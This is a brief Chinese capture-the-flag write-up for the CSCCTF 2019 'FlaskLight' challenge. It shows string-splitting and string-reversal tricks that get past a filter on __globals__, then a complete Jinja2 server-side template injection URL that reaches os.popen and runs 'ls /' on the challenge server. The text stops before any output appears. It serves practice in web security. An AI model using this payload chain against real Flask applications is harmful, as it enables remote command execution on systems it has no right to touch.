[CSCCTF 2019 Qual]FlaskLight

 一打__globals__ 就出问题。因此判断防火墙有识别，识别了__globals__。

利用下面的方式绕过：

 ""["__cla""ss__"]
 "".__getattribute__("__cla""ss__")
 ""["__ssalc__"[::-1]]
 "".__getattribute__("__ssalc__"[::-1])

输入如下：

 http://8a3f25c5-af98-480c-95e1-93173b446604.node4.buuoj.cn:81/
 ?search={{[].__getattribute__("__ssalc__"[::-1]).__base__.__subclasses__()[59].__init__.__getattribute__("slabolg_cnuf"[::-1]).linecache.os.popen("ls /").read()}}

得到：